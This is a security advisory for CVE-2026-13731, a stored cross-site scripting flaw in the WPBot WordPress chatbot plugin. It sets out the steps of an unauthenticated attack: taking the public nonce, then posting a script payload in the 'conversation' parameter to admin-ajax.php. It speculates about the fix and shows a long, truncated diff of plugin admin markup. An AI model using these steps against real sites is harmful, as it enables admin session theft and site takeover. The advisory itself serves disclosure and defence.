Published : July 3, 2026

CVE-2026-13731: WPBot <= 8.4.9 Unauthenticated Stored Cross-Site Scripting via 'conversation' Parameter PoC, Patch Analysis & Rule

Plugin chatbot
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 8.4.9
Patched Version 8.5.0
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13731: This vulnerability allows unauthenticated stored cross-site scripting (XSS) in the WPBot – AI ChatBot plugin for WordPress versions up to and including 8.4.9. The flaw resides in how the plugin handles the ‘conversation’ parameter during AJAX requests, enabling attackers to inject arbitrary JavaScript that executes in the admin panel when administrators view the conversation data.

The root cause is insufficient input sanitization and output escaping of the ‘conversation’ parameter. The vulnerable AJAX action (wp_ajax_nopriv_qcld_wpbot_conversational_save) processes and stores user-supplied conversation data without proper validation. The AJAX nonce required to authenticate the save request is publicly emitted on every frontend page via wp_localize_script, making it freely obtainable by any anonymous visitor. The stored data is later rendered in the admin panel (chatbot/admin_ui.php) without adequate escaping, allowing injected JavaScript to execute in the browser of any administrator viewing the conversation history.

Exploitation requires three steps: 1) Retrieve the publicly exposed AJAX nonce from any frontend page (emitted via wp_localize_script). 2) Send a POST request to /wp-admin/admin-ajax.php with action=qcld_wpbot_conversational_save, the nonce, and a crafted ‘conversation’ parameter containing malicious JavaScript (e.g., alert(‘XSS’)). 3) The payload is stored and executed when an administrator accesses the conversation records in the WPBot admin panel.

The patch likely introduces proper sanitization via WordPress functions like sanitize_text_field or wp_kses on the ‘conversation’ parameter before storage, and correct output escaping when rendering the data in the admin UI. Before the patch, raw input was stored and echoed without escaping. After the patch, the input is sanitized on save and/or properly escaped on output, preventing script execution.

Successful exploitation leads to stored XSS that executes in the context of the WordPress admin panel. An attacker can inject scripts to steal administrator session cookies, modify plugin settings, create new admin users, inject malicious redirects, or perform any action the victim administrator can perform. This effectively allows complete site compromise through a single unsanitized parameter.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/chatbot/admin_ui.php
+++ b/chatbot/admin_ui.php
@@ -1,2813 +1,2813 @@
-
-<?php
-// Exit if accessed directly
-if ( ! defined( 'ABSPATH' ) ) {
-  exit;
-}
-// Ensure WordPress escaping and translation functions are available
-if ( ! function_exists( 'esc_html' ) ) {
-  require_once( ABSPATH . 'wp-includes/formatting.php' );
-}
-if ( ! function_exists( 'esc_html__' ) ) {
-  require_once( ABSPATH . 'wp-includes/l10n.php' );
-}
-if ( ! function_exists( 'esc_html_e' ) ) {
-  require_once( ABSPATH . 'wp-includes/l10n.php' );
-}
-if ( ! function_exists( 'esc_attr' ) ) {
-  require_once( ABSPATH . 'wp-includes/formatting.php' );
-}
-if ( ! function_exists( 'esc_url' ) ) {
-  require_once( ABSPATH . 'wp-includes/formatting.php' );
-}
-?>
-
-<div class="wrap qcld-main-wrapper">
-  <h1 style="display:none">
-    <?php esc_html_e('chatbot', 'chatbot'); ?>
-  </h1>
-
-<div class="qcld-wp-chatbot-wrap-header">
-
-    <div class="qcld-wp-chatbot-wrap-header-logo"><a href="#" class="qcld-wp-chatbot-wrap-site__logo"><img style="width:100%" src="<?php echo esc_url( QCLD_wpCHATBOT_IMG_URL . '/chatbot.png' ); ?>" alt="Dialogflow CX"> WPBot Control Panel </a>
-    <p><strong>Core Version:</strong> v<?php echo esc_attr(QCLD_wpCHATBOT_VERSION); ?></p>
-    </div>
-    <ul class="qcld-wp-chatbot-wrap-version-wrapper">
-        <li>
-     <a class="wpchatbot-Upgrade" href="https://www.wpbot.pro/" target="_blank">Upgrade To Pro</a>
-
-      </li>
-	  </ul>
-</div>
-
-<div class="qcld-wp-chatbot-wrap-header-doc">
-
-    <a href="https://wpbot.pro/docs/" target="_blank" class="qcld-wp-chatbot-wrap--doc_logo">
-      <img style="width:100%" src="<?php echo esc_url( QCLD_wpCHATBOT_IMG_URL . '/doc.jpg' ); ?>" alt="Dialogflow CX">
-    <div class="docs_icon"><span class="dashicons dashicons-media-document"></span></div>
-
-    </a>
-
-    <div class="qcld-wp-chatbot-wrap-header-doc-details">
-
-      <h3><?php esc_html_e('Get Started with WPBot', 'chatbot'); ?></h3>
-      <p><?php esc_html_e('Do more than just chat with your ChatBot! More Leads, Conversions & Satisfied customers while saving time & increasing your business opportunities. WPBot is the best ChatBot for WordPress to improve user engagement, Generate Leads, & provide Automated Live customer support across your website & social platforms.', 'chatbot'); ?></p>
-
-       <div class="qcld-wp-chatbot-wrap-header-doc-button">
-
-      <a href="https://wpbot.pro/docs/knowledgebase/getting-started-with-chatbot/" class="GetStartedwithYourChatBot" target="_blank">Get Started with Your ChatBot</a>
-      <a href="https://wpbot.pro/docs/" target="_blank">Documentation</a>
-      </div>
-    </div>
-</div>
-
-<div class="wp-chatbot-wrap">
-<div class="icon32"><br>
-</div>
-<form action="<?php echo esc_url($action); ?>" method="POST" id="wp-chatbot-admin-form"
-          enctype="multipart/form-data">
-  <div class="form-container">
-
-    <section class="wp-chatbot-tab-container-inner">
-      <div class="wp-chatbot-tabs wp-chatbot-tabs-style-flip">
-        <nav>
-          <ul>
-            <li class="tab-current" tab-data="started"><a href="<?php echo esc_url($action).'&tab=started' ?>"> <span class="wpwbot-admin-tab-icon"> <span class="dashicons dashicons-admin-home"></span> </span> <span class="wpwbot-admin-tab-name">
-              <?php esc_html_e('Getting Started', 'chatbot'); ?>
-              </span> </a></li>
-            <li  tab-data="general"><a href="<?php echo esc_url($action) .'&tab=general' ?>"> <span class="wpwbot-admin-tab-icon"> <span class="dashicons dashicons-admin-generic"></span></span> <span class="wpwbot-admin-tab-name">
-              <?php esc_html_e('General settings', 'chatbot'); ?>
-              </span> </a></li>
-            <li tab-data="language"><a href="<?php echo esc_url($action) .'&tab=language' ?>"> <span class="wpwbot-admin-tab-icon"> <span class="dashicons dashicons-translation"></span> </span> <span class="wpwbot-admin-tab-name">
-              <?php esc_html_e('Change Language', 'chatbot'); ?>
-              </span> </a></li>
-            <li tab-data="social"><a href="<?php echo esc_url($action) .'&tab=social' ?>"> <span class="wpwbot-admin-tab-icon"> <span class="dashicons dashicons-image-filter"></span> </span> <span class="wpwbot-admin-tab-name">
-              <?php esc_html_e('Button Configurations', 'chatbot'); ?>
-              </span> </a></li>
-           <div class="cxsc-settings_openai_border"> <a href="<?php echo esc_url( $action) .'_openAi' ?>"> <span class="wpwbot-admin-tab-icon"> <span class="dashicons dashicons-update"></span>
-            </span> <span class=""> <?php esc_html_e('AI Settings', 'chatbot'); ?> </span>
-            </a>
-</div>
-
-
-
-            <li tab-data="themes"><a href="<?php echo esc_url($action) .'&tab=themes' ?>"> <span class="wpwbot-admin-tab-icon"> <span class="dashicons dashicons-share-alt"></span> </span> <span class="wpwbot-admin-tab-name">
-              <?php esc_html_e('Icons & Themes', 'chatbot'); ?>
-              </span> </a></li>
-            <li tab-data="support"><a href="<?php echo esc_url($action).'&tab=support' ?>"> <span class="wpwbot-admin-tab-icon"> <span class="dashicons dashicons-info-outline"></span> </span> <span class="wpwbot-admin-tab-name">
-              <?php esc_html_e('FAQ Builder', 'chatbot'); ?>
-              </span> </a></li>
-            <li tab-data="startmenu"><a href="<?php echo esc_url($action).'&tab=startmenu' ?>"> <span class="wpwbot-admin-tab-icon"> <span class="dashicons dashicons-menu"></span> </span> <span class="wpwbot-admin-tab-name"><?php esc_html_e('Start Menu', 'chatbot'); ?></span> </a></li>
-
-
-            <li tab-data="ai"><a href="<?php echo esc_url($action).'&tab=ai' ?>"> <span class="wpwbot-admin-tab-icon"> <span class="dashicons dashicons-format-chat"></span> </span> <span class="wpwbot-admin-tab-name">
-              <?php esc_html_e('Dialogflow', 'chatbot'); ?>
-              </span> </a></li>
-
-
-            <li tab-data="<?php echo esc_url('rpl'); ?>" class="conversational"><a href="<?php echo esc_url($action).'&tab=rpl' ?>">
-              <span class="wpwbot-admin-tab-icon"> <span class="dashicons dashicons-feedback"></span>
-            </span> <span class="wpwbot-admin-tab-name"> <?php esc_html_e('Conversational Form', 'chatbot'); ?>
-            </span>
-          </a>
-            </li>
-
-
-
-
-            <li tab-data="custom_css"> <a href="<?php echo esc_url($action).'&tab=custom_css'?>">
-              <span class="wpwbot-admin-tab-icon"> <span class="dashicons dashicons-editor-code"></span>
-            </span> <span class="wpwbot-admin-tab-name"> <?php esc_html_e('Custom CSS', 'chatbot'); ?></span>
-          </a>
-            </li>
-
-
-          </ul>
-
-<div class="text-center mt-5 qcld-goPreemium">
-
-<a href="https://www.wpbot.pro/" target="_blank"><span><svg xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none">
-                            <path d="M19.6799 17.28H4.31988C3.52596 17.28 2.87988 17.9261 2.87988 18.72C2.87988 19.5139 3.52596 20.16 4.31988 20.16H19.6799C20.4738 20.16 21.1199 19.5139 21.1199 18.72C21.1199 17.9261 20.4738 17.28 19.6799 17.28Z" fill="#FF9900"></path>
-                            <path d="M22.08 2.88C21.0211 2.88 20.16 3.74114 20.16 4.8C20.16 5.51137 20.5536 6.1267 21.1305 6.45886C20.0198 9.08925 18.287 10.703 16.6675 10.5571C14.8665 10.4102 13.3977 8.28094 12.5875 4.71839C13.6262 4.45533 14.4 3.51933 14.4 2.4C14.4 1.07616 13.3238 0 12 0C10.6761 0 9.59995 1.07616 9.59995 2.4C9.59995 3.51938 10.3737 4.45538 11.4124 4.71839C10.6022 8.28094 9.13336 10.4102 7.33242 10.5571C5.71964 10.703 3.97913 9.08925 2.86941 6.45886C3.44634 6.1267 3.83995 5.51133 3.83995 4.8C3.83995 3.74114 2.97881 2.88 1.91995 2.88C0.861141 2.88 0 3.74114 0 4.8C0 5.78498 0.748781 6.58945 1.70494 6.69886L3.55392 16.32H20.4461L22.295 6.69886C23.2512 6.58945 24 5.78498 24 4.8C24 3.74114 23.1389 2.88 22.08 2.88Z" fill="url(#paint0_linear_189_140)"></path>
-                            <defs>
-                                <linearGradient id="paint0_linear_189_140" x1="12" y1="0" x2="12" y2="16.32" gradientUnits="userSpaceOnUse">
-                                    <stop stop-color="#FFC045"></stop>
-                                    <stop offset="1" stop-color="#FF9900"></stop>
-                                </linearGradient>
-                            </defs>
-                        </svg></span>Go Premium</a>
-
-</div>
-
-
-          <div class="text-center mt-5 qcld-Resetall">
-            <input type="button" class="btn btn-warning submit-button"
-                                   id="qcld-wp-chatbot-reset-option"
-                                   value="<?php echo esc_attr__('Reset all options to Default', 'chatbot') ; ?>"/>
-          </div>
-        </nav>
-
-
-
-
-        <div class="content-wrap">
-        <section id="section-flip-1">
-
-
-           <div class="wrap qcld-swpm-admin-menu-wrap">
-            <div class="wrap qcld-swpm-admin-menu-wrap">
-                <h3 class="nav-tab-wrapper sld_nav_container wppt_nav_container">
-                    <a class="nav-tab sld_click_handle nav-tab-active"  href="#general_int"><?php echo esc_html__('Getting Started', 'chatbot'); ?></a>
-                    <a class="nav-tab sld_click_handle"  href="#general_wp_nutshell"><?php echo esc_html__('WPBot – In a Nutshell', 'chatbot'); ?></a>
-                </h3>
-                <div class="wppt-settings-section" id="general_int">
-                    <div class="content form-container qcbot_help_secion" style="">
-                        <!-- new Section -->
-
-                    <h3 class="qcld-wpbot-main-tabs-title"><?php echo esc_html__('WPBot Interactions', 'chatbot'); ?></h3>
-                    <p><?php echo esc_html__('You can use WPBot to both answer user questions and collect information from the users.', 'chatbot'); ?></p>
-                    <h4><?php echo esc_html__('To create answers to user questions you can use:', 'chatbot'); ?></h4>
-                   <p> <b><?php echo esc_html__('Simple Text Responses', 'chatbot'); ?></b> (built-in),  <b style="font-size: 14px"><?php echo esc_html__('FAQ', 'chatbot'); ?></b>(built-in),  <b style="font-size: 14px"><?php echo esc_html__('Site search', 'chatbot'); ?></b>(built-in),  <b style="font-size: 14px"><?php echo esc_html__('Product search', 'chatbot'); ?></b>(built-in Pro feature),  <b style="font-size: 14px"><?php echo esc_html__('DialogFlow', 'chatbot'); ?></b>(3rd Party) or  <b style="font-size: 14px"><?php echo esc_html__('OpenAI', 'chatbot'); ?></b>(3rd Party)</br>
-</p>
-                   <h4> <?php echo esc_html__('To collect information from your users you can use:', 'chatbot'); ?></h4>
-                    <p>  <b>
-                    <?php echo esc_html__('Conversational forms', 'chatbot'); ?></b>(built-in),  <b style="font-size: 14px"><?php echo esc_html__('Mail us', 'chatbot'); ?></b>(built-in),  <b style="font-size: 14px"><?php echo esc_html__('Call me back', 'chatbot'); ?></b>(built-in),  <b style="font-size: 14px"><?php echo esc_html__('Collect feedback features', 'chatbot'); ?></b>(built-in)</p>
-                     <hr>
-                   <p>
-                   <b> <?php echo esc_html__('When you activate the plugin, by default only the Site search option will work. Site search displays links to your website pages that contain the keywords in the user query. ', 'chatbot'); ?>
-                    </b></p>
-                    <p><b><?php echo esc_html__('To generate direct text responses, you need to use either Simple Text Responses or AI services. ', 'chatbot'); ?>
-                    </b></p>
-                    <hr>
-                    <h4><?php echo esc_html__('You can create user interactions in the following ways:', 'chatbot'); ?></h4>
-
-                    <div class="panel panel-default">
-                          <div class="panel-heading" role="tab" id="FeaturesOne">
-                              <h4 class="panel-title">
-                              <a class="collapsed" role="button" data-toggle="collapse" data-parent="#accordion" href="#FeaturescollapseOne" aria-expanded="false" aria-controls="FeaturescollapseOne"> <?php esc_html_e('Predefined intents - Built-in ChatBot Features', 'chatbot'); ?>  </a>
-                              </h4>
-                          </div>
-                          <div id="FeaturescollapseOne" class="panel-collapse collapse" role="tabpanel" aria-labelledby="FeaturesOne">
-                              <div class="panel-body"> <?php esc_html_e('Predefined intents can work without integration to DialogFlow API and AI. These are readily available as soon as you install the plugin and can be turned on or off individually.', 'chatbot'); ?>  <div class="section-container">
-                                  <div class="wpb_column vc_column_container vc_col-sm-6">
-                                  <div class="vc_column-inner ">
-                                      <div class="wpb_wrapper">
-                                      <div class="to-icon-box  left txt-left">
-                                          <div class="to-icon-txt fa-4x-txt ">
-                                          <h3>
-                                              <span>// </span><?php esc_html_e('Simple Text Responses', 'chatbot'); ?>
-                                          </h3>
-                                          <p><?php esc_html_e('Create unlimited text responses from your WordPress backend. The ChatBot uses advanced search algorithm for natural language phrase matching with user input.', 'chatbot'); ?> </p>
-                                          </div>
-                                      </div>
-                                      <div class="to-icon-box  left txt-left">
-                                          <div class="to-icon-txt fa-4x-txt ">
-                                          <h3>
-                                              <span>// </span><?php esc_html_e('Send eMail, Call Me Back & Feedback Collection', 'chatbot'); ?>
-                                          </h3>
-                                          <p><?php esc_html_e('Users can send a email to the site admin directly from the Chat window for customer support. The Call Me Back feature lets you get call requests from your customers which will be emailed to you. You can also use WPBot to collect Feedback from your customers regarding anything! You can disable/enable these features from the Start Menu.', 'chatbot'); ?></p>
-                                          </div>
-                                      </div>
-                                      <div class="to-icon-box  left txt-left">
-                                          <div class="to-icon-txt fa-4x-txt ">
-                                          <h3>
-                                              <span>// </span><?php esc_html_e('Advanced Site Search', 'chatbot'); ?> <span class="qc_wpbot_pro">PRO</span>
-                                          </h3>
-                                          <p><?php esc_html_e('If no matching text response is found WPBot will conduct an advanced website search and try to match user queries with your website contents and show results.', 'chatbot'); ?>  </p>
-                                          </div>
-                                      </div>
-                                      </div>
-                                  </div>
-                                  </div>
-                                  <div class="wpb_column vc_column_container vc_col-sm-6">
-                                  <div class="vc_column-inner ">
-                                      <div class="wpb_wrapper">
-                                      <div class="to-icon-box  left txt-left">
-                                          <div class="to-icon-txt fa-4x-txt ">
-                                          <h3>
-                                              <span>// </span><?php esc_html_e('Frequently Asked Questions', 'chatbot'); ?>
-                                          </h3>
-                                          <p><?php esc_html_e('Create a set of Frequently Asked Questions or FAQ so users can quickly find answers to the most common questions they have.', 'chatbot'); ?></p>
-                                          </div>
-                                      </div>
-                                      <div class="to-icon-box  left txt-left">
-                                          <div class="to-icon-txt fa-4x-txt ">
-                                          <h3>
-                                              <span>// </span>Ask for name, email, phone number etc.
-                                          </h3>
-                                          <p><?php esc_html_e('Asking for the name is the default workflow. In the pro version, you can also ask for an email and phone number if you want to or skip the Greetings part altogether and load any intent of your choice.', 'chatbot'); ?></p>
-                                          </div>
-                                      </div>
-                                      <div class="to-icon-box  left txt-left">
-                                          <div class="to-icon-txt fa-4x-txt ">
-                                          <h3>
-                                              <span>// </span><?php esc_html_e('Newsletter Subscription', 'chatbot'); ?> <span class="qc_wpbot_pro">PRO</span>
-                                          </h3>
-                                          <p><?php esc_html_e('WPBot can prompt User for eMail subscription. Link this with your Retargeting ChatBot window popup and a special offer. People can register their email address that you can later export as CSV!', 'chatbot'); ?> <strong>GDPR compliant</strong> with unsubscribe option from the ChatBot! </p>
-                                          </div>
-                                      </div>
-                                      </div>
-                                  </div>
-                                  </div>
-                              </div>
-                              </div>
-                          </div>
-                          </div>
-                          <div class="panel panel-default">
-                          <div class="panel-heading" role="tab" id="headingTwo">
-                              <h4 class="panel-title">
-                              <a class="collapsed" role="button" data-toggle="collapse" data-parent="#accordion" href="#collapseTwo" aria-expanded="false" aria-controls="collapseTwo"><?php esc_html_e(' Menu Driven - Created with Conversational Form Builder Addon', 'chatbot'); ?> </a>
-                              </h4>
-                          </div>
-                          <div id="collapseTwo" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingTwo">
-                              <div class="panel-body">
-                              <p><?php esc_html_e('Extend the Start Menu with the', 'chatbot'); ?> <?php esc_html_e('powerful Conversational Forms', 'chatbot'); ?> <?php esc_html_e(' Addon for WPBot. It extends WPBot’s functionality and adds the ability to create', 'chatbot'); ?> <?php esc_html_e('conditional conversations', 'chatbot'); ?> <?php esc_html_e('and/or', 'chatbot'); ?> <?php esc_html_e('forms', 'chatbot'); ?> <?php esc_html_e('for the WPBot. It is a visual,', 'chatbot'); ?> <?php esc_html_e('drag and drop', 'chatbot'); ?><?php esc_html_e(' form builder that is easy to use and very flexible. Supports conditional logic and use of variables to build all types of forms or just', 'chatbot'); ?> <?php esc_html_e('menu driven', 'chatbot'); ?>
-                                  <?php esc_html_e('conversations', 'chatbot'); ?> <?php esc_html_e('with if else logic', 'chatbot'); ?>  . <?php esc_html_e('Conversations or forms can be', 'chatbot'); ?> <?php esc_html_e('eMailed', 'chatbot'); ?> <?php esc_html_e('to you and', 'chatbot'); ?>  <?php esc_html_e('saved in the database', 'chatbot'); ?>.
-                              </p>
-                              <h4><?php esc_html_e('Conversational Form Builder Free or Pro version works with the WPBot Free or Pro versions.', 'chatbot'); ?></h4>
-                              <a class="FormBuilder" href="https://wordpress.org/plugins/conversational-forms/" target="_blank"><?php esc_html_e('Download Free Version', 'chatbot'); ?></a>
-                              <a class="FormBuilder" href="https://www.quantumcloud.com/products/conversations-and-form-builder/" target="_blank"><?php esc_html_e('Grab the Pro version', 'chatbot'); ?></a>
-                              <h4><?php esc_html_e('What Can You Do with it?', 'chatbot'); ?></h4>
-                              <p><?php esc_html_e('Conversation Forms allows you to create a wide variety of forms, that might include:', 'chatbot'); ?></p>
-                              <ul>
-                                  <li><?php esc_html_e('Create menu or button driven conversations', 'chatbot'); ?></li>
-                                  <li><?php esc_html_e('Conditional Menu Driven Conversations', 'chatbot'); ?>
-                                  <span class="qc_wpbot_pro" style="font-size: 9px;"><?php esc_html_e('PRO', 'chatbot'); ?></span>
-                                  </li>
-                                  <li><?php esc_html_e('Standard Contact Forms', 'chatbot'); ?></li>
-                                  <li><?php esc_html_e('Dynamic,', 'chatbot'); ?> <?php esc_html_e('conditional Forms', 'chatbot'); ?> <?php esc_html_e('– where fields can change based on the user selections', 'chatbot'); ?> <span class="qc_wpbot_pro" style="font-size: 9px;">PRO</span>
-                                  </li>
-                                  <li>Job <?php esc_html_e('Application Forms', 'chatbot'); ?>
-                                  </li>
-                                  <li>
-                                  <?php esc_html_e('Lead Capture', 'chatbot'); ?> <?php esc_html_e('Forms', 'chatbot'); ?>
-                                  </li>
-                                  <li><?php esc_html_e('Various types of', 'chatbot'); ?> <?php esc_html_e('Calculators', 'chatbot'); ?>
-                                  <span class="qc_wpbot_pro" style="font-size: 9px;"><?php esc_html_e('PRO', 'chatbot'); ?></span>
-                                  </li>
-                                  <li><?php esc_html_e('Feedback', 'chatbot'); ?> Survey<?php esc_html_e(' Forms etc.', 'chatbot'); ?> </li>
-                              </ul>
-                              </div>
-                          </div>
-                          </div>
-                          <div class="panel panel-default">
-                          <div class="panel-heading" role="tab" id="AIheadingThree">
-                              <h4 class="panel-title">
-                              <a class="collapsed" role="button" data-toggle="collapse" data-parent="#accordion" href="#AIcollapseThree" aria-expanded="false" aria-controls="AIcollapseThree"> <?php esc_html_e('DialogFlow ES and CX, OpenAI', 'chatbot'); ?> </a>
-                              </h4>
-                          </div>
-                          <div id="AIcollapseThree" class="panel-collapse collapse" role="tabpanel" aria-labelledby="AIheadingThree">
-                              <div class="panel-body">
-
-                            <div class="section-container">
-                                        <div class="wpb_column vc_column_container vc_col-sm-6">
-                                        <div class="wpb_wrapper">
-                                            <h3 style="font-size: 20px;"><?php esc_html_e('DialogFlow Essential', 'chatbot'); ?></h3> <?php esc_html_e('Intents created in Dialogflow give you the power to build a truly human like, intelligent and comprehensive chatbot. Build any type of Intents and Responses (including rich message responses) directly in DialogFlow and train the bot accordingly. When you create custom intents and responses in DialogFlow, WPBot will automatically display them when user inputs match with your Custom Intents along with the responses you created. You can also build Rich responses by enabling Facebook messenger Response option.', 'chatbot'); ?> <p></p>
-                                            <p style="text-align: left;"><?php esc_html_e('In addition you can also Enable ', 'chatbot'); ?><?php esc_html_e('Advanced Chained Question and Answers using follow up Intents, Contexts, Entities etc. and then have resulting answers from your users emailed to you. This feature lets you create a a series of questions in DialogFlow that will be asked by the bot and based on the user inputs a response will be displayed.', 'chatbot'); ?> <span class="qc_wpbot_pro" style="font-size: 9px;"><?php esc_html_e('PRO', 'chatbot'); ?></span>
-                                            </p>
-                                            <p style="text-align: left;"><?php esc_html_e('WPBot also supports Rich responses using Facebook Messenger integration. This allows you to display Image,', 'chatbot'); ?> Cards<?php esc_html_e(', Quick Text Reply or Custom PayLoad inside the ChatBot window. You can also insert an ', 'chatbot'); ?><?php esc_html_e('image', 'chatbot'); ?><?php esc_html_e(' or', 'chatbot'); ?> <?php esc_html_e('youtube video', 'chatbot'); ?><?php esc_html_e(' link inside the DialogFlow responses and they will be automatically rendered by the WPBot!', 'chatbot'); ?> <span class="qc_wpbot_pro" style="font-size: 9px;"><?php esc_html_e('PRO', 'chatbot'); ?></span>
-                                            </p>
-                                            <h3 style="font-size: 20px;"><?php esc_html_e('OpenAI', 'chatbot'); ?></h3><?php esc_html_e('Connect the ChatBot to OpenAI. OpenAI’s API provides access to GPT-3, for a wide variety of natural language tasks. Train your ChatBot with (pre-trained) GPT-3 to answer any user questions using. Select your preferred Engine from DaVinci, Ada, Curie or Babbag! Add your own API key to the addon to connect to your OpenAI account. To go live, you need to apply to OpenAI.', 'chatbot'); ?>
-                                        </div>
-                                        </div>
-                                        <div class="wpb_column vc_column_container vc_col-sm-6">
-                                        <div class="wpb_wrapper">
-                                            <h3 style="font-size: 20px;"><?php esc_html_e('DialogFlow CX', 'chatbot'); ?> <span class="qc_wpbot_pro">PRO</span>
-                                            </h3>
-                                            <p><?php esc_html_e('WPBot supports', 'chatbot'); ?> <?php esc_html_e('visual workflow builder', 'chatbot'); ?><?php esc_html_e(' Dialogflow CX. It provides a new way of designing agents, taking a state machine approach to agent design. This gives you clear and explicit control over a conversation, a better end-user experience, and a better development', 'chatbot'); ?> <?php esc_html_e('workflow', 'chatbot'); ?>. </p>
-                                            <ul>
-                                            <li>
-                                            <?php esc_html_e('Console visualization', 'chatbot'); ?><?php esc_html_e(': A new', 'chatbot'); ?><?php esc_html_e('visual builder', 'chatbot'); ?> <?php esc_html_e('makes building and maintaining agents easier. Conversation paths are graphed as a state machine model, which makes conversations easier to design, enhance, and maintain.', 'chatbot'); ?>
-                                            </li>
-                                            <li>
-                                            <?php esc_html_e('Intuitive and powerful conversation control', 'chatbot'); ?>: <?php esc_html_e('Conversation states and state transitions are first-class types that provide explicit and powerful control over conversation paths. You can clearly define a series of steps that you want the end-user to go through.', 'chatbot'); ?>
-                                            </li>
-                                            <li>
-                                              <?php esc_html_e('Flows for agent partitions', 'chatbot'); ?>: <?php esc_html_e('With flows, you can partition your agent into smaller conversation topics. Different team members can own different flows, which makes large and complex agents easy to build.', 'chatbot'); ?>
-                                            </li>
-                                            <img style="width:100%" src="<?php echo esc_url( QCLD_wpCHATBOT_IMG_URL . '/dialogflow-cx-1024x676.jpg' ); ?>" alt="Dialogflow CX">
-                                            </ul>
-                                        </div>
-                                        </div>
-                                    </div>
-
-
-                          </div>
-                      </div>
-
-
-                    <!-- end new Section -->
-
-                  </div>
-                  </div>
-                </div>
-
-
-
-
-                <div class="wppt-settings-section" id="general_wp_nutshell"  style="display:none;">
-                    <div class="content form-container qcbot_help_secion">
-                    <!-- new Section -->
-                        <h3 class="qcld-wpbot-main-tabs-title"><?php echo esc_html__('WPBot – In a Nutshell', 'chatbot'); ?></h3>
-
-                        <p><?php echo esc_html__('This is by no means a comprehensive list of WPBot features. But knowing these core terms will help you understand how WPBot was designed to work.', 'chatbot'); ?></p>
-                        <div style="clear:both"></div>
-                        <div class="panel panel-default">
-                            <div class="panel-heading" role="tab" id="headingOne">
-                                <h4 class="panel-title">
-                                <a class="collapsed" role="button" data-toggle="collapse" data-parent="#accordion" href="#collapseOne" aria-expanded="false" aria-controls="collapseOne"> <?php esc_html_e('Intents', 'chatbot'); ?>  </a>
-                                </h4>
-                            </div>
-                            <div id="collapseOne" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingOne">
-                                    <div class="panel-body">
-                                    <?php echo esc_html_e(' Intent is all about what the user wants to get out of the interaction. Whenever a user types something or clicks a button, the ChatBot will try to understand what the user wants and fulfill the request with appropriate responses.', 'chatbot'); ?></br></br>
-                                    <?php echo esc_html_e('You have to create possible Intent Responses using different features of the WPBot so the bot can respond accordingly. You can create Responses for various Intents using:', 'chatbot'); ?><b>
-                                    <?php echo esc_html_e('Simple Text Responses, Conversational form builder, FAQ, Site Search, Send an eMail, Newsletter Subscription, DialogFlow, OpenAI etc.', 'chatbot'); ?></b></br></br>
-                                    <?php echo esc_html_e('Please check this article for','chatbot'); ?> <span class="wppt_nav_container qcld-plan-tab-text">
-                                        <a href="#general_int"><?php echo esc_html_e('more details', 'chatbot'); ?></a> </span>  <?php echo esc_html_e('on how you can create Intents and Responses.', 'chatbot'); ?>
-                                    </div>
-                            </div>
-                        </div>
-                        <div class="panel panel-default">
-                            <div class="panel-heading" role="tab" id="headingSix">
-                                <h4 class="panel-title">
-                                <a class="collapsed" role="button" data-toggle="collapse" data-parent="#accordion" href="#collapseSix" aria-expanded="false" aria-controls="collapseSix"> <?php esc_html_e('Start Menu', 'chatbot'); ?>  </a>
-                                </h4>
-                            </div>
-                            <div id="collapseSix" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingSix">
-                                <div class="panel-body">
-                                    <?php echo esc_html_e('While using a ChatBot, users can get lost or not know how to Interact with the Bot. That is why we have a Start menu to always give the user', 'chatbot'); ?> <b><?php echo esc_html_e('options to do more', 'chatbot'); ?></b>. <?php echo esc_html_e('From ChatBot->Settings->Start Menu you can drag Available Menu Items (Intents) to the Active Menu Items area.', 'chatbot'); ?></br></br>
-                                    <?php echo esc_html_e('Besides the built-in Intents, you can also create custom Intents for your Start Menu using','chatbot'); ?> <b><?php echo esc_html_e('Simple Text Responses', 'chatbot'); ?></b> and <b><?php echo esc_html_e('Conversational form builder', 'chatbot'); ?></b>. <?php echo esc_html_e('You can create almost any kind of response with the combinations of the two.', 'chatbot'); ?></br></br>
-                                    <?php echo esc_html_e('We recommend enabling','chatbot'); ?><b><?php echo esc_html_e(' Show Start Menu After Greetings ', 'chatbot'); ?></b><?php echo esc_html_e('from ChatBot Pro->Settings->General settings.','chatbot'); ?>
-                                </div>
-                            </div>
-                        </div>
-                        <div class="panel panel-default">
-                            <div class="panel-heading" role="tab" id="headingSeven">
-                                <h4 class="panel-title">
-                                <a class="collapsed" role="button" data-toggle="collapse" data-parent="#accordion" href="#collapseSeven" aria-expanded="false" aria-controls="collapseSeven"> <?php esc_html_e('Settings', 'chatbot'); ?>  </a>
-                                </h4>
-                            </div>
-                            <div id="collapseSeven" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingSeven">
-                                    <div class="panel-body">
-                                        <?php echo esc_html_e('Head over to ChatBot Pro->Settings->General and make sure to Enable the Floating Icon. As soon as you do that, the ChatBot can start working for your users. Make sure to drag some items to the Active Menu area under the Start Menu.', 'chatbot'); ?></br></br>
-                                        <?php echo esc_html_e('The ChatBot settings area is full of options. Do not be intimidated by that. You do not need to use all the options – just what you need. Head over to the Settings->', 'chatbot'); ?><b><?php echo esc_html_e('Icons and Themes','chatbot'); ?></b> <?php echo esc_html_e('for options to customize your ChatBot. You will also find options to embed the ChatBot on a page, click to chat, FAQ builder etc. under the Setting options.', 'chatbot'); ?>
-                                    </div>
-                            </div>
-                        </div>
-                        <div class="panel panel-default">
-                            <div class="panel-heading" role="tab" id="headingEight">
-                                <h4 class="panel-title">
-                                <a class="collapsed" role="button" data-toggle="collapse" data-parent="#accordion" href="#collapseEight" aria-expanded="false" aria-controls="collapseEight"> <?php esc_html_e('Language Center', 'chatbot'); ?>  </a>
-                                </h4>
-                            </div>
-                            <div id="collapseEight" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingEight">
-                                    <div class="panel-body">
